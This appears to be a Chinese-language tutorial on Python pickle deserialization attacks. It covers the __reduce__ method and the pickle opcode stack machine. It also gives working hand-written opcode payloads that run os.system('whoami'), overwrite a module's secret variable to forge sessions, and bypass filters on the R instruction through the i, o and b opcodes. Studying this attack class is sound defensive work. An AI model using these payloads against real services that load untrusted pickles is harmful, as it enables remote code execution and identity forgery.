pickle反序列化
前置知识
pickle是==python中一个能够序列化和反序列化对象的模块==。和其他语言类似,python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。
pickle实际上可以看作一种独立的语言,通过对opcode的编写可以对进行python代码执行、覆盖变量等操作
pickle模块的使用
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import pickle
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)
#结果如下
#The age is:18 The name is:Pickle这里创建了一个person类,其中有两个属性age和name,首先使用了pickle.dumps()函数将一个person对象序列化成二进制字节流的形式。然后使用pickle.loads()将一串二进制字节流反序列化为一个person对象
能够序列化的对象
- None、True 和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可打包对象的集合,包括 tuple、list、set 和 dict
- 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以
- 定义在模块顶层的内置函数
- 定义在模块顶层的类
- 某些类实例,这些类的 dict 属性值或 getstate() 函数的返回值可以被打包
pickle模块常见方法即接口
将打包好的对象obj写入文件中,其中protocol为pickling的协议版本
1
pickle.dump(obj, file, protocol=None, *, fix_imports=True)
将obj打包以后的对象作为bytes类型直接返回
1
pickle.dumps(obj, protocol=None, *, fix_imports=True)
从文件中读取二进制流,将其反序列化为一个对象并返回
1
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从data中读取二进制字节流,将其反序列化为一个对象并返回
1
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")
==reduce其实是object类中的一个魔术方法,我们可以通过重写类的object.reduce()函数,使之在杯实例化时按照重写的方式进行==
1
object.__reduce__
python要求该方法返回一个字符串或者元组,如果返回元组(callable, ([para1,para2…])[,…]),那么每当该类的对象杯反序列化的时候,改callable就会被调用,参数为para1、para2
pickle反序列化漏洞
漏洞产生原理:当pickle反序列化未知的二进制流,当该字节流包含精心构造的恶意代码,如果我们使用pickle.load()方法反序列化,就会导致恶意代码执行
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import pickle
import os
class Person():
def __init__(self):
self.age=18
self.name="Pickle"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))
p=Person()
opcode=pickle.dumps(p)
print(opcode)
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)我们在person类中假如了reduce函数,该函数能够定义该类的二进制节字流被反序列化时进行的操作,返回值是一个(callable, ([para1,para2…])[,…])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2…)函数。因此当上述的Person对象被unpickling时,就会执行os.system(command)
pickle工作原理
pickle可以看作一种独立的栈语言,它由一串串opcode(指令集)组成,该语言的解析是依靠PVM进行的
PVM由以下三部分组成
指令处理器:从流中读取opcode和参数,并对其进行解释处理,重复这个操作,直到遇到.这个结束符后停止,最终留在栈顶的值将被作为反序列化对象返回
stack:由python的list实现,被用来临时存储数据、参数以及对象
memo:由python的dict实现,为PVM的整个生命周期提供存储
常用opcode
- c:获取一个全局对象或import一个模块
- o:寻找栈中的上一个MARK,以之前的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
- i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之前的数据为元组,以改元组为参数执行全局函数(或者实例化一个对象)
- N:实例化一个None
- S:实例化一个字符串对象
- V:实例化一个unicode字符串对象
- I:实例化一个int对象
- F:实例化一个float对象
- R:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
- (:向栈中压入一个MARK标记
- t:寻找栈中上一个MARK,并组合之前的数据为元组
- ):向栈中直接压入一个空元组
- l:寻找栈中的上一个MARK,并组合之前的数据为列表
- ]:向栈中直接压入一个空列表
- d:寻找栈中的上一个MARK,并组合之间的数据为字典
- }:向栈中直接压入一个空字典
- p:将栈顶对象存储值memo_n
- g:将memo_n的对象压栈
- 0:丢弃栈顶对象
- b:使用栈中的第一个元素(存储多个属性名:属性值的字典)对第二个元素进行属性设置
- s:将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中
- u:寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
- a:将栈的第一个元素append到第二个元素(列表)中
- e:寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中
PVM工作流程
PVM解析str的过程
PVM解析__reduce__()过程
demo
1
2
3
4
5
6
7
8opcode=b'''cos
system
(S'whoami'
tR.'''
cos->字节码c导入os.system,并将函数压入栈
(S'whoami'->字节码(,向栈中压入一个MARK,字节码为S是烈火一个字符串对象'whoami'将其 压入栈
tR->字节码t,寻找栈中MARK,并组合之间的数据为元组,然后通过字节码R执行os.system('whoami')
.->字节码为.,程序结束,将栈顶元素os.system('whoami')作为返回值
漏洞利用方式
命令执行
在上文中我们已经提到可以通过在类中重写__reduce__方法,从而在反序列化时执行任意指令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式
在pickle中,和函数执行的字节码有三个:R、i、o,所有我们可以从三个方向构造payload
R
1
2
3
4opcode1=b'''cos
system
(S'whoami'
tR.'''i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
1
2
3
4opcode2=b'''(S'whoami'
ios
system
.'''o:寻找栈中上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
1
2
3
4opcode3=b'''(cos
system
S'whoami'
o.'''
实例化对象
实例化对象也是一个特殊的函数执行,我们同样可以通过手写opcode来构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import pickle
class Person:
def __init__(self,age,name):
self.age=age
self.name=name
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle以上opcode相当于手动执行了构造函数Person(18,’Pickle’)
变量覆盖
在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影。程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份。假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造
1
2#secret.py
secret="This is a key"1
2
3
4
5
6
7
8
9
10
11
12
13import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
print("secret变量的值为:"+fake.secret)首先通过c来获取__main__.secret模块,然后将字符串secret和Hack!!!压入栈中,然后通过字节码d将两个字符串组合成字典{‘secret’:’Hack!!!’}的形式。由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret=”This is a key”,是以{‘secret’:’This is a key’}形式存储的。最后再通过字节码b来执行__dict__.update(),即{‘secret’:’This is a key’}.update({‘secret’:’Hack!!!’}),因此最终secret变量的值被覆盖成了Hack!!!
绕过
绕过builtins
- 通过getattr获取对象的属性值,因此我们可以通过builtins.getattr(builtins,’eval’)来获取eval函数
- 通过globals()函数中的全局变量来导入官方或者自定义的模块
绕过R指令
使用i指令
1
2
3
4
5opcode=b'''(S'stao'
I18
i__main__
Animal
.'''使用o指令
1
2
3
4
5opcode=b'''(c__main__
Animal
S'stao'
I18
o.'''变量覆盖
1
2
3
4
5
6
7
8
9
10
11opcode=b'''c__main__
stao
(S'name'
S'Hacker'
S'age'
I18
db(c__main__
Animal
S'Hacker'
I18
o.'''b指令
1
2
3
4
5
6
7
8
9opcode=b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__" #向栈中压入一个空字典,然后再通过u修改为{"__setstate__":os.system}
cos
system
ubS"whoami"
b.'''十六进制绕过
利用内置函数获取关键字